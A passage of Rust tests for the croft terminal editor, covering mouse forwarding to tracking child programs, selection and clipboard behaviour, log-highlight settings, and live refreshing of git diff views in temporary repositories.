    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h\x1b[?1006h");
    let inner = app.terminals[0].last_inner;
    assert!(
        inner.width > 6 && inner.height > 3,
        "pane 0 needs a grid: {inner:?}"
    );
    let (col, row) = (inner.x + 2, inner.y + 1);
    let (lr, lc) = app.terminals[0].cell_at(col, row).unwrap();

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert_eq!(
        app.active_terminal, 0,
        "the press activates the pressed pane"
    );
    // The keyboard moves the active pane mid-gesture.
    app.cycle_terminal();
    assert_eq!(app.active_terminal, 1, "Cmd+] moved the active pane");

    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        col + 3,
        row + 1,
    ));
    let sel = app.terminals[0]
        .selection()
        .expect("the origin pane carries the drag-selection");
    let (sr, sc, er, ec) = sel.normalised();
    assert_eq!(
        (sr, sc, er, ec),
        (lr as i32, lc, lr as i32 + 1, lc + 3),
        "the origin's selection runs from the press cell to the drag cell"
    );
    assert!(
        app.terminals[1].selection().is_none(),
        "the pane that merely became active gets no selection"
    );

    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        col + 3,
        row + 1,
    ));
    assert!(
        app.terminals[0].selection().is_some_and(|s| s.has_area()),
        "the release finalises the origin's selection"
    );
    assert!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()).ends_with('m'),
        "and the origin child gets the release"
    );
    assert!(
        app.terminals[1].written_bytes_for_test().is_empty(),
        "the active pane's child sees nothing"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn a_double_click_over_a_tracking_child_is_two_forwarded_clicks_not_a_word_select() {
    // Both clicks of the pair are the child's, and neither arms croft's
    // double-click tracker, so no word is selected. This is the documented
    // trade: word-select is unavailable over a tracking app.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row, lc, lr) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    // The token is put ON the click row (the helper's cell is grid row 2),
    // and the precondition checks it: a word-select on a blank cell selects
    // nothing, so without this the "no word" assertion could not fail.
    app.terminals[0].feed_bytes_for_test(b"\x1b[3;1Hhello_world_token\r\n");
    let (text, idx) = app.terminals[0]
        .line_text_at(col, row)
        .expect("the click must resolve to a grid cell");
    assert!(
        text.contains("hello_world_token") && idx < text.len(),
        "the click must land ON the token: {text:?} at {idx}"
    );
    for _ in 0..2 {
        app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
        app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), col, row));
    }
    let written = String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()).into_owned();
    let pair = format!("\x1b[<0;{c};{r}M\x1b[<0;{c};{r}m", c = lc + 1, r = lr + 1);
    assert_eq!(
        written,
        format!("{pair}{pair}"),
        "two press/release pairs reach the child"
    );
    assert!(
        app.terminals[0].selection().is_none(),
        "no word is selected: the pair was never croft's"
    );
}

#[test]
fn shift_drag_over_a_1002_child_selects_with_croft_and_reports_nothing() {
    // Under 1002 the unshifted drag is the child's; Shift+drag is the way
    // left to select text in a `mouse=a` vim or lazygit, and it must never
    // leak a report.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row, _, _) = tracking_terminal_app(b"\x1b[?1002h\x1b[?1006h");
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::SHIFT;
    app.handle_mouse(ev);
    let mut ev = mouse(MouseEventKind::Drag(MouseButton::Left), col + 3, row + 1);
    ev.modifiers = KeyModifiers::SHIFT;
    app.handle_mouse(ev);
    let mut ev = mouse(MouseEventKind::Up(MouseButton::Left), col + 3, row + 1);
    ev.modifiers = KeyModifiers::SHIFT;
    app.handle_mouse(ev);
    assert!(
        app.terminals[0].written_bytes_for_test().is_empty(),
        "Shift keeps every event of the gesture from the child"
    );
    assert!(
        app.terminals[0].selection().is_some_and(|s| s.has_area()),
        "and croft's selection has the dragged area"
    );
}

#[test]
fn copy_on_select_fires_for_a_click_only_forwarded_drag() {
    // The forwarded-release tail carries its own copy-on-select, aimed at the
    // origin pane; it must put the origin's selection on the clipboard the
    // way the ordinary mouse-up does.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, _, _, _, _) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    app.copy_on_select = true;
    app.terminals[0].feed_bytes_for_test(b"\x1b[H");
    app.terminals[0].feed_bytes_for_test(b"copy-me-please\r\n");
    let inner = app.terminals[0].last_inner;
    let (x0, y0) = (inner.x, inner.y);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), x0, y0));
    app.handle_mouse(mouse(MouseEventKind::Drag(MouseButton::Left), x0 + 13, y0));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), x0 + 13, y0));
    assert_eq!(
        crate::clipboard::read_string().as_deref(),
        Some("copy-me-please"),
        "the origin pane's selection landed on the clipboard"
    );
}

#[test]
fn toggling_log_highlighting_flips_open_views_and_the_default() {
    // #466: the palette / Settings toggle reaches the view that is already
    // open AND steers views opened afterwards, so the user sees the change
    // at once and does not get it undone by the next log they open.
    let _exclusive = crate::log_view::DEFAULT_HIGHLIGHT_TEST_LOCK
        .lock()
        .unwrap_or_else(|e| e.into_inner());
    let tmp = tempfile::tempdir().unwrap();
    let log = tmp.path().join("build.log");
    std::fs::write(&log, b"\x1b[32mok\x1b[0m 2024-01-02 step 1\nplain step 2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&log).unwrap();
    assert!(
        app.editor.log.is_some(),
        "a coloured .log opens as a rendered log"
    );
    let before = app.log_highlight;
    let view_before = app.editor.log.as_ref().unwrap().highlight();
    assert_eq!(
        view_before, before,
        "the open view starts at the app's setting"
    );

    app.toggle_log_highlight();
    assert_eq!(app.log_highlight, !before);
    assert_eq!(
        app.editor.log.as_ref().unwrap().highlight(),
        !before,
        "the open view followed the toggle"
    );
    assert_eq!(
        crate::log_view::default_highlight(),
        !before,
        "and so will the next log opened"
    );
    assert!(app.status.starts_with("Log highlighting (tailspin):"));

    // Back to where it was, so the process-wide default is left as found.
    app.toggle_log_highlight();
    assert_eq!(app.log_highlight, before);
    assert_eq!(crate::log_view::default_highlight(), before);
}

#[test]
fn startup_seeds_the_log_view_default_from_the_saved_preference() {
    // #466: `App::new` seeds the log view's opening default from the saved
    // preference. Under test that seed is recorded per thread instead of
    // written (hundreds of apps on parallel threads would race the tests
    // reading the process-wide default), which keeps the CALL SITE
    // observable: this asserts what `App::new` decided, pinned by a
    // workspace layer so it does not move with the developer's own config.
    let tmp = tempfile::tempdir().unwrap();
    let layer = crate::config_layers::workspace_config_path(tmp.path());
    std::fs::create_dir_all(layer.parent().unwrap()).unwrap();
    std::fs::write(&layer, r#"{"disable_log_highlight": true}"#).unwrap();
    STARTUP_LOG_HIGHLIGHT_SEED.with(|c| c.set(None));
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        !app.log_highlight,
        "the workspace layer's opt-out reached the field"
    );
    assert_eq!(
        STARTUP_LOG_HIGHLIGHT_SEED.with(|c| c.get()),
        Some(false),
        "and App::new seeded the log view's opening default with the same value"
    );
    std::fs::write(&layer, r#"{"disable_log_highlight": false}"#).unwrap();
    STARTUP_LOG_HIGHLIGHT_SEED.with(|c| c.set(None));
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.log_highlight);
    assert_eq!(STARTUP_LOG_HIGHLIGHT_SEED.with(|c| c.get()), Some(true));
}

#[test]
fn a_workspace_layer_setting_disable_log_highlight_applies_on_remerge() {
    // #466: `disable_log_highlight` is a workspace-allowed key, so a repo's
    // `.croft/config.json` can set it, and a settings remerge (a save of
    // that file) must apply it live: to the field, to the default for logs
    // opened later, and to every open log view. Read at startup too.
    let _exclusive = crate::log_view::DEFAULT_HIGHLIGHT_TEST_LOCK
        .lock()
        .unwrap_or_else(|e| e.into_inner());
    let before = crate::log_view::default_highlight();
    let tmp = tempfile::tempdir().unwrap();
    let layer = crate::config_layers::workspace_config_path(tmp.path());
    std::fs::create_dir_all(layer.parent().unwrap()).unwrap();
    std::fs::write(&layer, r#"{"disable_log_highlight": true}"#).unwrap();
    let log = tmp.path().join("build.log");
    std::fs::write(&log, b"\x1b[32mok\x1b[0m 2024-01-02 step 1\nplain step 2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(!app.log_highlight, "the workspace layer is read at startup");
    app.editor.open_pinned(&log).unwrap();
    assert!(
        app.editor.log.is_some(),
        "a coloured .log opens as a rendered log"
    );
    // Force the open view on, as a stale default would have left it, so the
    // remerge below has something visible to fix.
    app.editor.log.as_mut().unwrap().set_highlight(true);

    // A second log parked in another split group, so the fan-out over
    // inactive groups is exercised, not just the active tab.
    let other = tmp.path().join("other.log");
    std::fs::write(&other, b"\x1b[31merr\x1b[0m 2024-01-02 step 9\n").unwrap();
    app.split_editor();
    app.editor.open_pinned(&other).unwrap();
    assert!(app.editor.log.is_some());
    app.editor.log.as_mut().unwrap().set_highlight(true);
    fn parked_log_flags(app: &mut App) -> Vec<bool> {
        app.editor_layout
            .inactive_groups_mut()
            .into_iter()
            .flat_map(|g| g.editors.iter())
            .filter_map(|e| e.log.as_ref().map(|l| l.highlight()))
            .collect()
    }

    std::fs::write(&layer, r#"{"disable_log_highlight": false}"#).unwrap();
    app.reload_config_for_path(&layer);
    assert!(
        app.log_highlight,
        "the remerge applied the workspace layer's new value"
    );
    assert!(
        app.editor.log.as_ref().unwrap().highlight(),
        "and pushed it into the open log view"
    );
    let parked = parked_log_flags(&mut app);
    assert!(
        !parked.is_empty() && parked.iter().all(|&h| h),
        "and into the log parked in the other split group: {parked:?}"
    );
    assert!(
        crate::log_view::default_highlight(),
        "and into the default for later logs"
    );

    std::fs::write(&layer, r#"{"disable_log_highlight": true}"#).unwrap();
    app.reload_config_for_path(&layer);
    assert!(!app.log_highlight);
    assert!(
        !app.editor.log.as_ref().unwrap().highlight(),
        "the opt-out reaches the open view"
    );
    assert!(
        parked_log_flags(&mut app).iter().all(|&h| !h),
        "and the parked one"
    );
    crate::log_view::set_default_highlight(before);
}

/// #471: no watcher-reported paths, for the poll-shaped refresh calls.
fn no_paths() -> std::collections::BTreeSet<std::path::PathBuf> {
    std::collections::BTreeSet::new()
}

/// #471 fixtures: a repo with one committed file, and the app rooted there.
fn repo_with_seed(text: &str) -> (tempfile::TempDir, std::path::PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().to_path_buf();
    for args in [
        vec!["init", "-q", "-b", "main"],
        vec!["config", "user.email", "a@b"],
        vec!["config", "user.name", "a"],
    ] {
        let st = std::process::Command::new("git")
            .arg("-C")
            .arg(&root)
            .args(&args)
            .status()
            .unwrap();
        assert!(st.success(), "git {args:?}");
    }
    let f = root.join("seed.txt");
    std::fs::write(&f, text).unwrap();
    git_ok(&root, &["add", "."]);
    git_ok(&root, &["commit", "-m", "init", "--quiet"]);
    (tmp, f)
}

fn git_ok(root: &std::path::Path, args: &[&str]) {
    let st = std::process::Command::new("git")
        .arg("-C")
        .arg(root)
        .args(args)
        .status()
        .unwrap();
    assert!(st.success(), "git {args:?}");
}

/// Write `text` to `path` so that its `(mtime, len)` stamp differs from the
/// one before the write: a stamp-gated refresh must not miss a rewrite that
/// lands within the filesystem's mtime granularity of the previous one. A
/// different length differs at once; an equal length waits for the clock.
fn rewrite_later(path: &std::path::Path, text: &str) {
    let stamp = |p: &std::path::Path| {
        std::fs::metadata(p)
            .ok()
            .and_then(|m| Some((m.modified().ok()?, m.len())))
    };
    let before = stamp(path);
    std::fs::write(path, text).unwrap();
    let mut spins = 0;
    while stamp(path) == before && spins < 400 {
        std::thread::sleep(std::time::Duration::from_millis(5));
        std::fs::write(path, text).unwrap();
        spins += 1;
    }
    assert_ne!(
        stamp(path),
        before,
        "the rewrite must move the file's stamp"
    );
}

#[test]
fn an_open_head_diff_follows_the_working_file_and_head() {
    // The Source Control diff used to be a snapshot: an agent rewriting the
    // file, or a save from a sibling tab, left the rows stale until the tab
    // was reopened (#471). Now the view is rebuilt in place -- from disk on
    // a filesystem trigger, from HEAD too on a git-status trigger -- with
    // the reader's viewport kept.
    let (tmp, f) = repo_with_seed("one\ntwo\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    // Open exactly what open_source_control_entry opens for a Modified row.
    std::fs::write(&f, "one\ntwo\nthree\n").unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "one\ntwo\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: root.clone(),
        rel: String::from("seed.txt"),
    });
    assert_eq!(app.editor.diff.as_ref().unwrap().right_lines.len(), 3);
    assert!(
        !app.refresh_open_diff_views(false, &[], &no_paths()),
        "nothing moved yet: the refresh is a no-op"
    );

    // The working file grows under the open view.
    rewrite_later(&f, "one\ntwo\nthree\nfour\nfive\n");
    app.editor.diff.as_mut().unwrap().scroll = 1;
    assert!(
        app.refresh_open_diff_views(false, &[], &no_paths()),
        "a filesystem trigger rebuilds the view from the changed file"
    );
    let d = app.editor.diff.as_ref().unwrap();
    assert_eq!(d.right_lines, vec!["one", "two", "three", "four", "five"]);
    assert_eq!(d.left_lines, vec!["one", "two"], "HEAD side untouched");
    assert_eq!(
        d.scroll, 1,
        "the reader's viewport is kept, not reset to the first hunk"
    );
    assert!(
        d.left_is_git_head,
        "the rebuilt view still gates stage/revert like the original"
    );
    assert!(
        matches!(
            d.source,
            crate::widgets::diff::DiffSource::HeadVsWorking { .. }
        ),
        "the source survives the rebuild"
    );
    assert!(
        !app.refresh_open_diff_views(false, &[], &no_paths()),
        "the stamps were taken: a second tick does not rebuild again"
    );

    // A commit moves HEAD: the git-status trigger re-reads the left side.
    git_ok(&root, &["add", "."]);
    git_ok(&root, &["commit", "-m", "grow", "--quiet"]);
    assert!(
        !app.refresh_open_diff_views(false, &[], &no_paths()),
        "a filesystem-only trigger does not re-read HEAD"
    );
    assert!(
        !app.refresh_open_diff_views(true, &[], &no_paths()),
        "nor does a git-status drain in which THIS root's HEAD did not move"
    );
    assert!(
        app.refresh_open_diff_views(true, std::slice::from_ref(&root), &no_paths()),
        "the drain that saw this root's HEAD move does"
    );
    let d = app.editor.diff.as_ref().unwrap();
    assert_eq!(
        d.left_lines, d.right_lines,
        "after the commit both sides agree"
    );
}

#[test]
fn edge_autoscroll_stands_down_while_the_forwarded_pane_is_not_active_and_resumes() {
    // The tick scrolls the ACTIVE pane. With a click-only forwarded drag
    // parked past pane 0's top edge, Cmd+] must not have the tick walk pane
    // 1's scrollback, and Cmd+[ back must let it resume without a new Drag
    // event, since a parked pointer sends none.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h\x1b[?1006h");
    // Enough history in pane 1 that a stray tick would visibly move it.
    app.terminals[1].feed_bytes_for_test("row\r\n".repeat(200).as_bytes());
    let inner = app.terminals[0].last_inner;
    let (col, row) = (inner.x + 2, inner.y + 1);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert_eq!(app.active_terminal, 0);
    // Park the pointer above the top edge: the drag arms auto-scroll.
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        col,
        inner.y.saturating_sub(1),
    ));
    assert!(
        app.terminal_select_autoscroll.is_some(),
        "precondition: auto-scroll armed"
    );

    app.cycle_terminal();
    assert_eq!(app.active_terminal, 1);
    let pane1_before = app.terminals[1].viewport_top_line();
    std::thread::sleep(std::time::Duration::from_millis(40));
    assert!(
        !app.tick_terminal_autoscroll(),
        "the tick stands down for a non-origin active pane"
    );
    assert_eq!(
        app.terminals[1].viewport_top_line(),
        pane1_before,
        "pane 1's viewport did not move"
    );
    assert!(
        app.terminal_select_autoscroll.is_some(),
        "the armed state is held, not dropped"
    );

    app.cycle_terminal_back();
    assert_eq!(app.active_terminal, 0);
    std::thread::sleep(std::time::Duration::from_millis(40));
    assert!(
        app.tick_terminal_autoscroll(),
        "back on the origin pane the tick resumes without a new Drag"
    );
}

#[test]
fn a_bare_forwarded_click_never_reaches_the_clipboard() {
    // The forwarded-release tail runs copy-on-select only for a gesture the
    // Drag arm turned into croft's selection. A plain click that stayed the
    // child's leaves the clipboard alone even with copy-on-select on.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, _, _, _, _) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    app.copy_on_select = true;
    app.terminals[0].feed_bytes_for_test(b"\x1b[H");
    app.terminals[0].feed_bytes_for_test(b"not-for-the-clipboard\r\n");
    let inner = app.terminals[0].last_inner;
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        inner.x + 2,
        inner.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        inner.x + 2,
        inner.y,
    ));
    assert_eq!(
        crate::clipboard::read_string().as_deref().unwrap_or(""),
        "",
        "a click that was the child's copies nothing"
    );
    assert!(app.terminals[0].selection().is_none());
}

#[test]
fn edge_autoscroll_is_dropped_when_the_forwarded_pane_closes_mid_gesture() {
    // A parked, armed forwarded drag whose origin pane is then closed has
    // nothing to resume on: the tick drops the gesture instead of standing
    // down until a release that may never come.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h\x1b[?1006h");
    let inner = app.terminals[0].last_inner;
    let (col, row) = (inner.x + 2, inner.y + 1);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        col,
        inner.y.saturating_sub(1),
    ));
    assert!(
        app.terminal_select_autoscroll.is_some(),
        "precondition: armed"
    );
    assert!(
        app.close_terminal_at(0),
        "the origin pane closes under the held button"
    );
    std::thread::sleep(std::time::Duration::from_millis(40));
    assert!(!app.tick_terminal_autoscroll(), "nothing to scroll");
    assert!(
        app.terminal_select_autoscroll.is_none() && app.terminal_pointer_forwarded.is_none(),
        "the gesture is dropped, not held"
    );
}

#[test]
fn a_staged_diff_view_reruns_git_on_a_status_trigger_only() {
    let (tmp, f) = repo_with_seed("alpha\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    let raw = crate::git::diff_staged(&root).unwrap();
    app.editor
        .open_git_diff_side_by_side(std::path::Path::new("git diff --staged"), &raw)
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::GitCommand {
        root: root.clone(),
        kind: crate::widgets::diff::GitDiffKind::Staged,
    });
    assert!(
        app.editor
            .diff
            .as_ref()
            .unwrap()
            .right_lines
            .contains(&String::from("(no changes)")),
        "nothing is staged yet"
    );

    std::fs::write(&f, "alpha\nbeta\n").unwrap();
    git_ok(&root, &["add", "seed.txt"]);
    assert!(
        !app.refresh_open_diff_views(false, &[], &no_paths()),
        "a git-command view is not re-run on a filesystem tick: the index is not a file it watches"
    );
    assert!(
        app.refresh_open_diff_views(true, &[], &no_paths()),
        "the git-status drain re-runs it"
    );
    let d = app.editor.diff.as_ref().unwrap();
    assert!(
        d.right_lines.iter().any(|l| l == "beta"),
        "the staged line now shows: {:?}",
        d.right_lines
    );
    assert!(
        !app.refresh_open_diff_views(true, &[], &no_paths()),
        "identical output changes nothing"
    );
}

#[test]
fn a_snapshot_and_a_two_file_diff_follow_their_files() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "x\n").unwrap();
    std::fs::write(&b, "x\ny\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Timeline snapshot: fixed left text against the working file.
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("b.txt (local snapshot)"),
            "x\n",
            &b,
            false,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::FixedLeft {
        left_text: String::from("x\n"),
    });
    rewrite_later(&b, "x\ny\nz\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    let d = app.editor.diff.as_ref().unwrap();
    assert_eq!(d.right_lines, vec!["x", "y", "z"]);
    assert_eq!(d.left_lines, vec!["x"], "the snapshot side never changes");
    assert!(!d.left_is_git_head, "a snapshot view still cannot stage");

    // Two real files: either side moving rebuilds.
    app.editor.open_diff(&a, &b).unwrap();
    rewrite_later(&a, "x\nw\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    let d = app.editor.diff.as_ref().unwrap();
    assert_eq!(d.left_lines, vec!["x", "w"]);
    assert!(
        d.left_is_real_file,
        "Enter on a Removed row still opens the left file"
    );
    assert!(!app.refresh_open_diff_views(false, &[], &no_paths()));
}

#[test]
fn a_diff_view_in_an_inactive_split_group_is_refreshed_too() {
    // Every group is swept, not just the focused one: the diff the user
    // parked in the other split is exactly the one they are watching while
    // they type in this one.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "1\n").unwrap();
    std::fs::write(&b, "1\n2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_diff(&a, &b).unwrap();
    app.split_editor();
    app.editor.open_pinned(&a).unwrap();
    assert!(
        app.editor.diff.is_none(),
        "the focused group shows a plain buffer"
    );

    rewrite_later(&b, "1\n2\n3\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    let stale = app
        .editor_layout
        .inactive_groups_mut()
        .into_iter()
        .flat_map(|g| g.editors.iter())
        .filter_map(|e| e.diff.as_ref())
        .any(|d| d.right_lines.len() != 3);
    assert!(!stale, "the inactive group's diff shows the third line");
}

#[test]
fn a_rewrite_that_only_changes_bytes_still_refreshes_the_byte_facts() {
    // A final newline added to the working file changes no line text, so the
    // rows come back identical -- but `right_no_final_nl` and the "bytes
    // differ, lines equal" banner feed the hunk patch and the header. The
    // same-content skip must see those facts as content, or stage/revert
    // would build a patch from bytes no longer on disk.
    let (tmp, f) = repo_with_seed("a\nb\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    std::fs::write(&f, "a\nb").unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "a\nb\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: root.clone(),
        rel: String::from("seed.txt"),
    });
    let d = app.editor.diff.as_ref().unwrap();
    assert!(
        d.right_no_final_nl && d.bytes_differ_but_lines_equal,
        "precondition: {d:?}"
    );

    rewrite_later(&f, "a\nb\n");
    assert!(
        app.refresh_open_diff_views(false, &[], &no_paths()),
        "the byte-only rewrite counts as a change"
    );
    let d = app.editor.diff.as_ref().unwrap();
    assert!(
        !d.right_no_final_nl,
        "the working side now ends in a newline"
    );
    assert!(
        !d.bytes_differ_but_lines_equal,
        "and the banner's fact is cleared"
    );
    assert!(
        !app.refresh_open_diff_views(false, &[], &no_paths()),
        "and it is not rebuilt again"
    );
}

#[test]
fn a_same_length_rewrite_with_a_preserved_mtime_refreshes_on_the_watcher_path() {
    // `(mtime, len)` cannot see a rewrite that keeps both, and the poll has
    // nothing else to go on. The watcher does: it names the path, and a
    // named path bypasses the stamp gate.
    let (tmp, f) = repo_with_seed("one\ntwo\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    std::fs::write(&f, "one\ntwo\nAAA\n").unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "one\ntwo\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: root.clone(),
        rel: String::from("seed.txt"),
    });
    let mtime = std::fs::metadata(&f).unwrap().modified().unwrap();
    std::fs::write(&f, "one\ntwo\nBBB\n").unwrap();
    std::fs::File::options()
        .write(true)
        .open(&f)
        .unwrap()
        .set_modified(mtime)
        .unwrap();
    assert_eq!(
        std::fs::metadata(&f).unwrap().modified().unwrap(),
        mtime,
        "precondition: the rewrite preserved the mtime"
    );
    assert!(
        !app.refresh_open_diff_views(false, &[], &no_paths()),
        "the poll's stamp gate cannot see this rewrite"
    );
    let mut written = std::collections::BTreeSet::new();
    written.insert(f.clone());
    assert!(
        app.refresh_open_diff_views(false, &[], &written),
        "the watcher naming the path rebuilds the view regardless of the stamp"
    );
    assert!(
        app.editor
            .diff
            .as_ref()
            .unwrap()
            .right_lines
            .iter()
            .any(|l| l == "BBB"),
        "the view shows the rewritten bytes"
    );
}

#[test]
fn a_rebuild_recomputes_the_find_match_against_the_new_rows() {
    // The active find match names a row of the OLD rows. After a rebuild it
    // is dropped and, with the find bar open, recomputed: gone when the new
    // rows no longer hold the needle, back when they do again.
    let (tmp, f) = repo_with_seed("alpha\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    std::fs::write(&f, "alpha\nneedle here\n").unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "alpha\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: root.clone(),
        rel: String::from("seed.txt"),
    });
    app.open_editor_find();
    app.diff_find_set_query(String::from("needle"));
    assert!(
        app.editor.diff.as_ref().unwrap().find.active.is_some(),
        "precondition: the needle is found"
    );

    rewrite_later(&f, "alpha\nnothing to see\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    let d = app.editor.diff.as_ref().unwrap();
    assert!(d.find.active.is_none(), "no row holds the needle now");
    assert_eq!(
        d.find.needle.as_deref(),
        Some("needle"),
        "the query itself survives"
    );
    assert_eq!(
        app.editor_find.as_ref().and_then(|s| s.match_index),
        None,
        "the find bar agrees: no current match"
    );

    rewrite_later(&f, "alpha\nthe needle is back\nneedle twice\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    let d = app.editor.diff.as_ref().unwrap();
    assert!(
        d.find.active.is_some(),
        "the match is recomputed on the new rows"
    );
    assert_eq!(
        app.editor_find.as_ref().and_then(|s| s.match_index),
        Some(1),
        "and the find bar counts from the first"
    );
}

#[test]
fn a_staged_view_reruns_when_a_status_refresh_lands_unchanged() {
    // Replacing an already-staged file's bytes leaves porcelain status
    // identical ("M  seed.txt" before and after), so a "status changed"
    // gate would never re-run the staged view. The completed refresh is the
    // signal, and it flows through the real worker drain here.
    let (tmp, f) = repo_with_seed("alpha\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    // Let the worker's first status land so later ones can compare equal.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::RESTORED_SHELL_BASE,
        "the git worker's first status",
        || {
            app.try_install_pending_init();
            app.git.status().in_repo
        },
    );
    std::fs::write(&f, "alpha\nbeta\n").unwrap();
    git_ok(&root, &["add", "seed.txt"]);
    let raw = crate::git::diff_staged(&root).unwrap();
    app.editor
        .open_git_diff_side_by_side(std::path::Path::new("git diff --staged"), &raw)
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::GitCommand {
        root: root.clone(),
        kind: crate::widgets::diff::GitDiffKind::Staged,
    });
    assert!(
        app.editor
            .diff
            .as_ref()
            .unwrap()
            .right_lines
            .iter()
            .any(|l| l == "beta")
    );

    // Same porcelain status, different index bytes.
    std::fs::write(&f, "alpha\ngamma\n").unwrap();
    git_ok(&root, &["add", "seed.txt"]);
    app.active_git_bypass_debounce();
    app.refresh_git_status_debounced();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::RESTORED_SHELL_BASE,
        "the staged view to show the re-staged bytes",
        || {
            app.try_install_pending_init();
            app.editor
                .diff
                .as_ref()
                .is_some_and(|d| d.right_lines.iter().any(|l| l == "gamma"))
        },
    );
}

#[test]
fn a_head_diff_tagged_with_the_repo_toplevel_refreshes_from_a_subdirectory_workspace() {
    // The Source Control opener tags a view with `scm_root()`, the git
    // TOPLEVEL. From a subdirectory workspace that is not the workspace
    // root the drain keys its HEAD-oid bookkeeping on, so `heads_moved`
    // has to record the toplevel (and compare canonically), or a commit
    // never re-reads the HEAD side. This drives the real drain.
    let (tmp, f) = repo_with_seed("one\n");
    let root = tmp.path().to_path_buf();
    let sub = root.join("sub");
    std::fs::create_dir_all(&sub).unwrap();
    let mut app = App::new(sub.clone()).unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::RESTORED_SHELL_BASE,
        "the git worker's first status",
        || {
            app.try_install_pending_init();
            app.git.status().in_repo
        },
    );
